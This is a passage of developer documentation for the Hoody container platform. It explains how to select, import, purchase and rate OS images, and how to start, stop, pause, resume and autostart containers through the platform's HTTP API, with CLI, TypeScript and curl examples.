- ✅ Docker networking and volumes
- ✅ Multi-container applications via Docker Compose

### Kubernetes and Orchestration

**Run Kubernetes clusters inside containers:**
- K3s (lightweight Kubernetes)
- Minikube for development
- Kind (Kubernetes in Docker)
- Any container orchestration platform

**Freedom of choice:** Use Docker, Podman, containerd, or any container runtime. Hoody containers are general-purpose Linux environments - you control the stack.

### Recommended Base Image for Docker

**Use `debian/13` as base image when running Docker:**

```bash
POST /api/v1/projects/{id}/containers
{
  "name": "docker-host",
  "server_id": "{server_id}",
  "container_image": "debian/13",
  "hoody_kit": true
}
```

**Why Debian:**
- Rock-solid stability for long-running Docker daemons
- Excellent Docker package support
- Minimal conflicts with container runtimes
- Well-tested in production environments

**Then install Docker via terminal/SSH** and use it however you need - single containers, Docker Compose stacks, or full orchestration platforms.


**Nested Containers Pattern:** Hoody container → Docker daemon → Your application containers. This gives you HTTP-accessible Linux machines that can themselves run containerized applications.


---

## Importing and Purchasing Images

### Import Free Images

**Most OS images are free:**

First, find images in the marketplace:



Then import to your library:



**Response:**

```json
{
  "statusCode": 200,
  "message": "Free image imported successfully",
  "data": {}
}
```

**Now available for container creation** using the image name format `ubuntu/22.04`.

### Purchase Premium Images

**Some images include pre-installed commercial software:**

First, check image details (including price):



Then purchase the image:



**Response:**

```json
{
  "statusCode": 200,
  "message": "Image purchased successfully",
  "data": {
    "price_paid": 15,
    "remaining_balance": 485
  }
}
```

**Deducted from wallet balance.** One-time payment, permanent access.

### Your Image Library



**Shows only images you can use** when creating containers.

---

## Image Rating System

**Help the community by rating images:**



**Rating scale (0-5):**
- 5 stars: Excellent (works perfectly, well-configured)
- 4 stars: Good (minor issues or missing documentation)
- 3 stars: Average (works but needs tweaking)
- 2 stars: Poor (significant issues)
- 1 star: Broken (doesn't work as advertised)
- 0 stars: Lowest possible rating (also accepted by the API)

**Your ratings help others choose images** and improve marketplace quality.

---

## Choosing the Right Image

### Decision Matrix


  
    **Recommended:** `ubuntu/24.04` or `ubuntu/22.04` LTS
    
    **Why:**
    - Most documentation assumes Ubuntu
    - Large package repository (apt)
    - Good balance of features vs size
    - Long-term support releases
  
  
    **Recommended:** `debian/13` or `debian/12`
    
    **Why:**
    - Rock-solid stability
    - Security-focused
    - Smaller than Ubuntu
    - Well-suited for long-running services
  
  
    **Recommended:** `alpine/3.19` or `alpine/3.18`
    
    **Why:**
    - Minimal size (fast startup)
    - Perfect for single-purpose services
    - Lower resource usage
    - Security hardened by default
  
  
    **Recommended:** the latest Fedora/CentOS release available in `GET /api/v1/images/public`
    
    **Why:**
    - RedHat-compatible environment
    - RPM package management (dnf/yum)
    - Enterprise software compatibility
  


### Size Considerations

| Image | Typical Size | Boot Time | Best For |
|-------|-------------|-----------|----------|
| **Alpine** | 50-200 MB | 3-5 seconds | Microservices, utilities |
| **Debian** | 500 MB - 1 GB | 5-10 seconds | Production servers |
| **Ubuntu** | 1-2 GB | 8-15 seconds | Development, general use |
| **Fedora** | 1-2 GB | 8-15 seconds | Cutting-edge packages |

**Smaller images:**
- ✅ Faster container creation
- ✅ Less storage cost
- ✅ Faster snapshots
- ❌ Fewer pre-installed tools

**Larger images:**
- ✅ More tools included
- ✅ Batteries-included experience
- ❌ Slower creation/snapshots
- ❌ Higher storage cost

---

## Prespawn-Optimized Images

**Some images are marked `prespawn: true`:**



**What this means:**
- Image optimized for instant container creation
- Used in prespawn templates
- Pre-cached on servers
- Sub-5-second container startup

**Use prespawn images when:**
- You need instant container availability
- Auto-scaling scenarios
- On-demand environments
- Interactive demos

**See:** Prespawn templates allow pre-created container pools that are claimed in milliseconds.

---

## Using Images in Container Creation

### Specify Image During Creation



**The `container_image` parameter:**
- Format: `{os}/{release}` (e.g., `debian/13`, `ubuntu/24.04`)
- Must match an image in your library
- If omitted or null: Uses project/system default

### Default Image Selection

**If you don't specify `container_image`:**

The system default image is used (currently `debian/13`). Specify `container_image` explicitly on every `POST /api/v1/projects/{project_id}/containers` call to pin the OS you want.

---

## Image Selection Examples

### Example 1: Web Application Stack

Node.js application with Ubuntu - create container with `ubuntu/24.04`, then install Node.js via terminal URL or SSH.

### Example 2: Lightweight API Service

Python FastAPI on Alpine using `alpine/3.19` for minimal footprint and cost-optimized microservice deployment.

### Example 3: Database Container

PostgreSQL on Debian using `debian/13` for stability-focused production database, then install PostgreSQL via package manager.

### Example 4: Multi-Architecture Support

Same application deployed on both AMD64 servers (Intel/AMD) and ARM64 servers (Graviton/Apple Silicon). Use `ubuntu/24.04` on both - architecture determined by target server automatically.

---

## Image Variants

**Some images come in specialized variants:**

| Variant | Description | When to Use |
|---------|-------------|-------------|
| **standard** | Default full-featured | General use |
| **minimal** | Stripped-down version | Size-constrained scenarios |
| **cloud** | Optimized for cloud deployment | Production servers |
| **desktop** | Includes GUI components | When using [displays](/kit/displays/) |

**Format:** `ubuntu/24.04` (standard), `ubuntu/24.04-minimal` (minimal variant), `ubuntu/24.04-cloud` (cloud-optimized)

**Check marketplace** for available variants of each OS.

---

## Creating Image-Based Templates

**Use images + snapshots for instant environment provisioning:**

### The Template Workflow


  
    Start with clean Ubuntu container using `ubuntu/24.04` image with Hoody Kit enabled.
  
  
    Install Node.js, tools, and dependencies via terminal URL. Set up global npm packages (TypeScript, pnpm, yarn), configure Git, and prepare development environment.
  
  
    Capture the perfect state as a snapshot with user-friendly alias "nodejs-dev-template-2025". Set expiry to null for permanent storage.
  
  
    Copy from template snapshot to new projects. All tools pre-installed - ready to code immediately without setup overhead. One perfect setup, infinite instantiations.
  


**One perfect setup → infinite instantiations.**

---

## Image Discovery and Searching

### Search by Keyword


  
    ```bash
    # Find Docker-related images
    hoody images list --search docker

    # Find database images
    hoody images list --search database

    # Find Node.js images
    hoody images list --search nodejs
    ```
  
  
    ```typescript
    // Find Docker-related images
    const dockerImages = await client.api.images.listPublic({ search: 'docker' });

    // Find database images
    const dbImages = await client.api.images.listPublic({ search: 'database' });
    ```
  
  
    ```bash
    # Find Docker-related images
    curl "https://api.hoody.icu/api/v1/images/public?search=docker" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Find database images
    curl "https://api.hoody.icu/api/v1/images/public?search=database" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Find Node.js images
    curl "https://api.hoody.icu/api/v1/images/public?search=nodejs" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Searches:** Image name, description, and tags.

### Sort by Popularity


  
    ```bash
    # Highest rated images
    hoody images list --sort-by rating --sort-order desc --limit 10
    ```
  
  
    ```typescript
    // Highest rated images
    const topImages = await client.api.images.listPublic({
      page: 1,
      limit: 10,
      sort_by: 'rating',
      sort_order: 'desc',
    });
    ```
  
  
    ```bash
    # Highest rated images
    curl "https://api.hoody.icu/api/v1/images/public?sort_by=rating&sort_order=desc&limit=10" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### Filter by Price Range


  
    ```bash
    # Free images only
    hoody images list --min-price 0 --max-price 0

    # Budget images ($0-$10)
    hoody images list --min-price 0 --max-price 10

    # Premium images ($25+)
    hoody images list --min-price 25
    ```
  
  
    ```typescript
    // Free images only
    const freeImages = await client.api.images.listPublic({ min_price: 0, max_price: 0 });

    // Budget images ($0-$10)
    const budgetImages = await client.api.images.listPublic({ min_price: 0, max_price: 10 });

    // Premium images ($25+)
    const premiumImages = await client.api.images.listPublic({ min_price: 25 });
    ```
  
  
    ```bash
    # Free images only
    curl "https://api.hoody.icu/api/v1/images/public?min_price=0&max_price=0" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Budget images ($0-$10)
    curl "https://api.hoody.icu/api/v1/images/public?min_price=0&max_price=10" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Premium images ($25+)
    curl "https://api.hoody.icu/api/v1/images/public?min_price=25" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## Image Metadata

**Get detailed information:**



**Response:**

```json
{
  "statusCode": 200,
  "data": {
    "id": "63a3e4b5c6d7e8f9a0b1c2d3",
    "alias": "ubuntu/22.04",
    "description": "Ubuntu 22.04 LTS (Jammy Jellyfish) - Long-term support until 2027",
    "image_name": "ubuntu-22.04-amd64",
    "architecture": "amd64",
    "os": "ubuntu",
    "release": "22.04",
    "serial": "20231109",
    "variant": "default",
    "size": 1572864000,
    "price": 0,
    "added_date": "2023-11-09T00:00:00.000Z",
    "average_rating": 4.8,
    "rating_count": 1247,
    "icon_url": "/api/v1/images/63a3e4b5c6d7e8f9a0b1c2d3/icon",
    "prespawn": true
  }
}
```

**Use to:**
- Verify architecture matches server
- Check size for storage planning
- Read description for pre-installed software
- See community ratings for quality

---

## Best Practices

### 1. Match Architecture to Server

Always verify server architecture before selecting images. Query `GET /api/v1/servers/{server_id}` and filter images by that architecture. Mismatched architecture = container won't start.

### 2. Import Images Before Bulk Creation

If creating many containers with the same image, import it once first. Then all subsequent creations skip the import wait - faster, more reliable.

### 3. Use Specific Versions, Not "latest"

Specify exact versions like `debian/13` or `ubuntu/24.04`. Avoid "latest" tags - they change over time and break reproducibility.

### 4. Test Images in Development First

Try new images (especially Alpine with musl) in development environments before production. Verify your application's dependencies are compatible with that distribution.

### 5. Use debian/13 for Docker Hosts

When running Docker/Kubernetes inside containers, start with `debian/13`. Excellent Docker package support, minimal conflicts with container runtimes.

### 6. Rate Images After Use

After successfully using an image, rate it honestly (0-5 stars). Help the community make better choices and improve marketplace quality.

### 7. Choose Image Based on Purpose

Production services: `debian/13` (stability). General development: `ubuntu/24.04` (familiarity). Microservices: `alpine/3.19` (minimal footprint). Match image to workload characteristics.

---

## Useful Questions

### Can I change a container's image after creation?

No. The image is permanent once container is created. To use a different OS:
1. [Snapshot](/foundation/containers/snapshots/) your data
2. Create new container with desired image
3. Transfer data manually or via [storage shares](/foundation/storage/sharing-files/)
4. Delete old container

### What happens if I import an image I already have?

The API returns success (idempotent operation). Image isn't duplicated—you just re-confirm it's in your library.

### Do purchased images work on all my servers?

Yes. Once purchased, an image is available for ANY container creation across ALL your servers (of matching architecture).

### Can I create my own custom images?

Not directly via the API currently. Template workflow (base image → configure → snapshot → copy from snapshot) achieves similar result. The snapshot becomes your reusable template.

### What's the difference between image variants?

Variants are different configurations of the same OS version. "minimal" has fewer pre-installed packages (smaller size), "cloud" is optimized for cloud deployment, "desktop" includes GUI components for [display service](/kit/displays/).

### Do images include the Hoody Kit?

No. Images are base operating systems only. The Hoody Kit (18 HTTP services) is installed **when you create the container** if you set `hoody_kit: true` in the creation request.

### Can I roll back to a previous image version?

Images don't version like software. If a new image release has issues, create containers from older release explicitly: `ubuntu/22.04` instead of `ubuntu/24.04`.

### How do I know which image to use for my application?

Check your application's system requirements (documentation, Docker images, deployment guides). Match OS, architecture, and ensure required packages are available in that distribution's repository.

### Do images affect container pricing?

Indirectly: Larger images require more storage (higher storage cost). Some premium images have purchase cost. But image choice doesn't affect compute pricing (CPU/RAM charges are based on allocation, not OS).

---

## Troubleshooting

### Image Not Found During Container Creation

**Problem:** Container creation fails with "image not found"

**Solutions:**

1. **Import the image first:**
   ```bash
   # Find image in marketplace
   GET /api/v1/images/public?search=ubuntu
   
   # Import it
   POST /api/v1/images/import/{image_id}
   ```

2. **Check image name format:**
   ```bash
   # ✅ Correct: "ubuntu/24.04"
   # ❌ Wrong: "ubuntu:24.04"
   # ❌ Wrong: "ubuntu-24.04"
   # ❌ Wrong: "ubuntu"
   ```

3. **Verify image in your library:**
   ```bash
   GET /api/v1/images/user
   # Ensure image appears in list
   ```

### Architecture Mismatch

**Problem:** Container creation fails or crashes immediately

**Cause:** Image architecture doesn't match server

**Solution:**

1. **Check server architecture:**
   ```bash
   GET /api/v1/servers/{server_id}
   # Note: architecture field
   ```

2. **Filter images by architecture:**
   ```bash
   GET /api/v1/images/public?architecture=amd64
   # Or: ?architecture=arm64
   ```

3. **Import matching image:**
   ```bash
   POST /api/v1/images/import/{correct_architecture_image_id}
   ```

### Insufficient Balance for Purchase

**Problem:** Image purchase fails with insufficient funds

**Solution:**

```bash
# Check wallet balance
GET /api/v1/wallet/balances

# Add funds if needed
# (via platform billing system)

# Then purchase
POST /api/v1/images/purchase/{image_id}
```

### Container Creation Slow

**Problem:** Container takes longer than expected to create

**Possible cause:** Large image size

**Solutions:**

1. **Choose smaller image:**
   - Alpine instead of Ubuntu
   - Minimal variant instead of standard

2. **First creation on server is slower:**
   - Image must be pulled to server
   - Subsequent containers with same image are faster
   - This is normal, not an issue

---

## What's Next

**Build on your image foundation:**

1. **[Create, Edit, Delete →](./create-edit-delete/)** - Use images in container creation
2. **[Managing →](./managing/)** - Operate containers regardless of image
3. **[Snapshots →](./snapshots/)** - Snapshot configured containers as templates
4. **[Copy & Sync →](./copy-sync/)** - Duplicate configured environments

**Explore the Hoody Kit:**
- 🛠️ [The Hoody Kit →](/kit/) - 18 HTTP services work on ANY image
- 📚 [API Reference →](/api/authentication/) - Complete endpoint documentation

**Understanding gained:**
- ✅ Images are OS templates for containers
- ✅ Choose based on size, stability, package ecosystem
- ✅ Import free images or purchase premium
- ✅ Images are immutable (can't change after creation)
- ✅ Prespawn images enable instant creation
- ✅ Architecture must match server
- ✅ Rate images to help community

---

> **Start with the right foundation.**
> **Debian for production. Ubuntu for general use. Alpine for microservices.**
> **Import once, use forever. One perfect setup, infinite containers.**

---

# Managing Containers

**Page:** foundation/containers/managing

[Download Raw Markdown](./foundation/containers/managing.md)

---

# Managing Containers

**Containers transition between states via HTTP endpoints.** Start them when needed, pause for efficiency, stop for maintenance, resume instantly.

After [creating containers](/foundation/containers/create-edit-delete/), you need to **manage their lifecycle** through various operational states.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains container operation concepts and patterns. For complete endpoint documentation:

**Lifecycle Operations:**
- **[POST /api/v1/containers/\{id\}/start](/api/container-operations/)** - Start stopped container
- **[POST /api/v1/containers/\{id\}/stop](/api/container-operations/)** - Gracefully stop container
- **[POST /api/v1/containers/\{id\}/force-stop](/api/container-operations/)** - Immediately terminate
- **[POST /api/v1/containers/\{id\}/restart](/api/container-operations/)** - Stop then start
- **[POST /api/v1/containers/\{id\}/pause](/api/container-operations/)** - Suspend container
- **[POST /api/v1/containers/\{id\}/resume](/api/container-operations/)** - Resume suspended container

**Status Tracking:**
- **[GET /api/v1/containers/\{id\}/status-logs](/api/container-operations/)** - View state transition history

**Related:**
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - Get current container status

---

## Container States

**Containers exist in distinct operational states:**

```
          start
stopped ────────→ running
   ↑                 ↓
   │                 │ pause
   │                 ↓
   │              paused
   │                 ↓
   │                 │ resume
   │                 ↓
   └────── stop ── running
```

### State Descriptions

| State | Description | Available Operations |
|-------|-------------|---------------------|
| `running` | Container is active, all services available | stop, force-stop, restart, pause |
| `stopped` | Container is halted, no processes running | start, restart, delete |
| `paused` | Container suspended, state frozen in RAM | resume |
| `creating` | Being provisioned (automatic) | (wait for completion) |
| `failed` | Operation failed | delete, diagnose |
| `copying` | Being duplicated | (wait for completion) |

---

## Starting Containers

**Bring a stopped container back to life.**

### Basic Start



**Response:**

```json
{
  "statusCode": 200,
  "message": "Container started successfully",
  "data": {
    "operation": "start",
    "container_id": "890abcdef12345678901cdef",
    "status": "running"
  }
}
```

**What happens:**
1. Container processes initialize
2. Hoody Kit services start (if enabled)
3. Network connectivity established
4. Service URLs become accessible

**Typical start time:** 5-15 seconds

### When to Start

**Containers start automatically when:**
- Just created (if not `autostart: false`)
- Server boots (if `autostart: true`)
- Restored from snapshot

**Manual start needed when:**
- Container was previously stopped
- After maintenance/updates
- For cost optimization (keep containers stopped when not in use)

---

## Stopping Containers

**Gracefully shut down a running container.**

### Graceful Stop



**What happens:**
1. SIGTERM sent to all processes
2. Processes given time to clean up
3. If they do not exit, SIGKILL is sent (forced termination)
4. Container status changes to `stopped`

**Use case:** Normal shutdown before updates, maintenance, or resource conservation.

### Force Stop

**Immediately terminate all processes:**



**What happens:**
- SIGKILL sent immediately (no graceful shutdown)
- All processes terminated instantly
- No cleanup time given


**Force-stop can cause data corruption** if processes are writing to disk. Use only when graceful stop hangs or in emergency situations.


**When to force-stop:**
- Graceful stop hangs or times out
- Emergency situations (runaway process)
- Container is unresponsive

---

## Restarting Containers

**Stop then start in one operation.**

### Basic Restart



**Equivalent to:**
1. Graceful stop
2. Wait for stopped state
3. Start

**Use cases:**
- Apply configuration changes
- Clear in-memory state
- Recover from issues
- Regular maintenance restarts

**Restart time:** Stop (5-10s) + Start (5-15s) = 10-25 seconds total

---

## Pausing & Resuming

**Suspend container without full shutdown.**

### Pause (Suspend)



**What happens:**
- All container processes frozen
- State saved in RAM
- No CPU usage
- Minimal memory usage
- Service URLs return errors

**Use cases:**
- Temporary suspension during resource constraints
- Freeze state for debugging
- Quick pause/resume cycles

### Resume



**What happens:**
- Processes unfrozen
- Execution continues exactly where paused
- All state preserved (open files, network connections, terminal sessions)
- Service URLs become accessible again

**Resume time:** Nearly instant (1-2 seconds)

### Pause vs Stop

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Pause/Resume**

**Speed:**
- Pause: ~1 second
- Resume: ~1-2 seconds

**State:**
- ✅ All processes frozen
- ✅ RAM state preserved
- ✅ Network connections maintained
- ✅ Open files preserved

**Limitations:**
- Requires RAM for state
- Cannot update configuration
- Cannot snapshot while paused

**Best for:** Quick suspension

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Stop/Start**

**Speed:**
- Stop: ~5-10 seconds
- Start: ~5-15 seconds

**State:**
- ❌ All processes terminated
- ❌ RAM state lost
- ❌ Network connections closed
- ✅ Filesystem preserved

**Benefits:**
- Can update configuration
- Can create snapshots
- Zero RAM usage
- Clean state on restart

**Best for:** Maintenance, updates

</div>

</div>

**Choose pause/resume for temporary suspension. Choose stop/start for configuration changes or clean state.**

---

## Operation Patterns

### Pattern 1: Daily Development Workflow


  
    ```bash
    # Morning: Start your dev container
    hoody containers manage $DEV_ID start

    # Work all day via container URLs
    # https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
    # https://{project}-{container}-display-1.{server}.containers.hoody.icu

    # Evening: Pause (instant resume tomorrow)
    hoody containers manage $DEV_ID pause
    ```
  
  
    ```typescript
    // Morning: Start your dev container
    await client.api.containers.manage(DEV_ID, 'start');

    // Work all day via container URLs...

    // Evening: Pause (instant resume tomorrow)
    await client.api.containers.manage(DEV_ID, 'pause');
    ```
  
  
    ```bash
    # Morning: Start your dev container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{dev_id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Work all day via container URLs
    # https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
    # https://{project}-{container}-display-1.{server}.containers.hoody.icu

    # Evening: Pause (instant resume tomorrow)
    curl -X POST "https://api.hoody.icu/api/v1/containers/{dev_id}/pause" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Why pause instead of stop:**
- Resume in 1-2 seconds (vs 15 seconds restart)
- Terminal sessions preserved
- Open editors maintained
- No state lost

### Pattern 2: Maintenance Window


  
    ```bash
    # 1. Stop container gracefully
    hoody containers manage $PROD_ID stop

    # 2. Update configuration
    hoody containers update $PROD_ID --environment-vars CONFIG_VERSION=2.0

    # 3. Restart with new config
    hoody containers manage $PROD_ID start
    ```
  
  
    ```typescript
    // 1. Stop container gracefully
    await client.api.containers.manage(PROD_ID, 'stop');

    // 2. Update configuration
    await client.api.containers.update(PROD_ID, {
      environment_vars: { CONFIG_VERSION: '2.0' }
    });

    // 3. Restart with new config
    await client.api.containers.manage(PROD_ID, 'start');
    ```
  
  
    ```bash
    # 1. Stop container gracefully
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 2. Update configuration
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{prod_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"environment_vars": {"CONFIG_VERSION": "2.0"}}'

    # 3. Restart with new config
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### Pattern 3: Resource Optimization

**Stop containers when not in use:**

```javascript
// Stop non-critical containers during off-hours.
// `/api/v1/containers` returns all your containers — filter client-side by name.
const nonCritical = ['staging-api', 'test-db', 'dev-frontend'];

const { data: all } = await fetch(
  'https://api.hoody.icu/api/v1/containers',
  { headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }}
).then(r => r.json());

const targets = all.containers.filter(
  c => nonCritical.includes(c.name) && c.status === 'running'
);

for (const c of targets) {
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${c.id}/stop`,
    {
      method: 'POST',
      headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }
    }
  );
}
```

**Automate with cron:** Schedule stops at 6 PM, starts at 8 AM.

### Pattern 4: Emergency Recovery


  
    ```bash
    # Unresponsive container? Try graceful stop first
    hoody containers manage $CONTAINER_ID stop

    # If that hangs or fails, force it
    hoody containers manage $CONTAINER_ID force-stop

    # Restart clean
    hoody containers manage $CONTAINER_ID start
    ```
  
  
    ```typescript
    // Try graceful stop first
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // If that hangs or fails, force it
    await client.api.containers.manage(CONTAINER_ID, 'force-stop');

    // Restart clean
    await client.api.containers.manage(CONTAINER_ID, 'start');
    ```
  
  
    ```bash
    # Unresponsive container? Try graceful stop first
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # If that hangs or fails, force it
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/force-stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Restart clean
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## Status Logging

**Track every state transition with detailed logs.**

### Get Status Logs



**Response:**

```json
{
  "statusCode": 200,
  "message": "Status logs retrieved successfully",
  "data": {
    "logs": [
      {
        "id": "63f8b0e5c9a1b2d3e4f5a6b7",
        "container_id": "890abcdef12345678901cdef",
        "from_status": "stopped",
        "to_status": "running",
        "transition_time": "2025-11-09T14:30:00.000Z",
        "duration_ms": 12450,
        "triggered_by": "user_abc123",
        "metadata": {
          "operation": "start",
          "server_name": "node-us"
        }
      },
      {
        "from_status": "running",
        "to_status": "stopped",
        "transition_time": "2025-11-09T10:15:00.000Z",
        "duration_ms": 8320,
        "triggered_by": "automation_script"
      }
    ],
    "pagination": {
      "total": 47,
      "page": 1,
      "limit": 10,
      "totalPages": 5
    }
  }
}
```

**What you learn:**
- When states changed
- How long transitions took
- Who/what triggered the change
- Complete audit trail

### Use Cases for Status Logs

**1. Debugging Issues:**
```bash
# Check if container had recent failures
GET /api/v1/containers/{id}/status-logs?sort_order=desc&limit=20

# Look for: failed states, unexpected stops, slow starts
```

**2. Performance Analysis:**
```bash
# Analyze startup times
GET /api/v1/containers/{id}/status-logs

# Check duration_ms for "stopped → running" transitions
# Optimize if consistently slow
```

**3. Audit Trail:**
```bash
# Who stopped the production container?
GET /api/v1/containers/{prod_id}/status-logs

# Check triggered_by field for user/automation identification
```

---

## Operation Timing

**Understanding how long operations take:**

| Operation | Typical Duration | What Happens |
|-----------|------------------|--------------|
| **Start** | 5-15 seconds | Boot processes, start services |
| **Stop** | 5-10 seconds | Graceful shutdown, cleanup |
| **Force-Stop** | `<1 second` | Immediate kill |
| **Restart** | 10-25 seconds | Stop + Start |
| **Pause** | ~1 second | Freeze all processes |
| **Resume** | 1-2 seconds | Unfreeze, continue execution |

**Factors affecting timing:**
- Container image complexity
- Number of running processes
- Allocated resources
- Hoody Kit services (more services = slightly longer)
- Server load

---

## Managing Multiple Containers

### Bulk Operations

**Start all project containers:**

```javascript
// Get all containers in project
const response = await fetch(
  `https://api.hoody.icu/api/v1/projects/${projectId}/containers`,
  { headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }}
);

const containers = await response.json();

// Start all stopped containers
for (const container of containers.data.containers) {
  if (container.status === 'stopped') {
    await fetch(
      `https://api.hoody.icu/api/v1/containers/${container.id}/start`,
      {
        method: 'POST',
        headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }
      }
    );
    console.log(`Started: ${container.name}`);
  }
}
```

### Conditional Operations

**Stop containers based on criteria:**

```javascript
// Stop all paused containers (free up RAM).
// The list endpoint takes no status filter — filter client-side on the returned array.
const { data } = await fetch(
  'https://api.hoody.icu/api/v1/containers',
  { headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }}
).then(r => r.json());

const paused = data.containers.filter(c => c.status === 'paused');

for (const container of paused) {
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${container.id}/stop`,
    {
      method: 'POST',
      headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }
    }
  );
}
```

### Parallel Operations

**Restart multiple containers simultaneously:**

```javascript
const containerIds = [
  '890abcdef12345678901cdef',
  '901bcdef12345678901cdefa',
  '012cdef123456789abcdef01'
];

// Restart all in parallel
await Promise.all(
  containerIds.map(id =>
    fetch(`https://api.hoody.icu/api/v1/containers/${id}/restart`, {
      method: 'POST',
      headers: { 'Authorization': `Bearer ${process.env.HOODY_TOKEN}` }
    })
  )
);

console.log('All containers restarted');
```

---

## Autostart Configuration

**Control whether containers start automatically on server boot.**

### Enable Autostart


  
    ```bash
    # Stop container first
    hoody containers manage $CONTAINER_ID stop

    # Enable autostart
    hoody containers update $CONTAINER_ID --autostart

    # Restart container
    hoody containers manage $CONTAINER_ID start
    ```
  
  
    ```typescript
    // Stop container first
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // Enable autostart
    await client.api.containers.update(CONTAINER_ID, {
      autostart: true
    });

    // Restart container
    await client.api.containers.manage(CONTAINER_ID, 'start');
    ```
  
  
    ```bash
    # Stop container first
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Enable autostart
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"autostart": true}'

    # Restart container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Now this container auto-starts when:**
- Server reboots
- Server maintenance completes
- After power failure recovery

### When to Use Autostart

**✅ Enable autostart for:**
- Production services (must be always available)
- Critical infrastructure (databases, APIs)
- Monitoring containers (must run continuously)
- Automation containers (CI/CD, cron jobs)

**❌ Disable autostart for:**
- Development environments (start manually when needed)
- Testing containers (ephemeral)
- Resource-intensive containers (start on-demand)
- Temporary/experimental containers

---

## Real-World Scenarios

### Scenario 1: Deploy New Code


  
    ```bash
    # 1. Snapshot current state (safety)
    hoody snapshots create --container $CONTAINER_ID --alias "pre-deploy-2025-11-09"

    # 2. Access terminal to deploy, then deploy code

    # 3. Restart container for clean state
    hoody containers manage $CONTAINER_ID restart

    # 4. Verify services are running
    hoody containers get $CONTAINER_ID --runtime true
    ```
  
  
    ```typescript
    // 1. Snapshot current state (safety)
    await client.api.containers.createSnapshot(CONTAINER_ID, {
      alias: 'pre-deploy-2025-11-09'
    });

    // 2. Deploy code via terminal...

    // 3. Restart container for clean state
    await client.api.containers.manage(CONTAINER_ID, 'restart');

    // 4. Verify services are running
    const status = await client.api.containers.get(CONTAINER_ID, { runtime: 'true' });
    console.log(status.data);
    ```
  
  
    ```bash
    # 1. Snapshot current state (safety)
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-deploy-2025-11-09"}'

    # 2. Access terminal to deploy
    # https://{project}-{container}-terminal-1.{server}.containers.hoody.icu

    # 3. Restart container for clean state
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/restart" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 4. Verify services are running
    curl "https://api.hoody.icu/api/v1/containers/{id}?runtime=true" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**If deployment fails:** Restore snapshot to roll back.

### Scenario 2: Scheduled Maintenance

```javascript
// Automated maintenance script
async function performMaintenance(containerId) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 'Authorization': `Bearer ${token}` };
  
  // 1. Stop container
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}/stop`,
    { method: 'POST', headers }
  );
  
  // 2. Wait for stopped
  await waitForStatus(containerId, 'stopped');
  
  // 3. Update resources
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}`,
    {
      method: 'PATCH',
      headers: {
        ...headers,
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        environment_vars: {
          "UPDATED": "true"
        }
      })
    }
  );
  
  // 4. Restart
  await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}/start`,
    { method: 'POST', headers }
  );
  
  // 5. Verify running
  const status = await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}`,
    { headers }
  ).then(r => r.json());
  
  return status.data.status === 'running';
}

// Run at 2 AM via cron
performMaintenance('890abcdef12345678901cdef');
```

### Scenario 3: Resource Conservation

**Pause containers during low-usage periods:**


  
    ```bash
    # List containers (filter by status client-side)
    hoody containers list

    # Pause each non-critical container
    hoody containers manage $CONTAINER_ID pause

    # Morning: Resume all paused
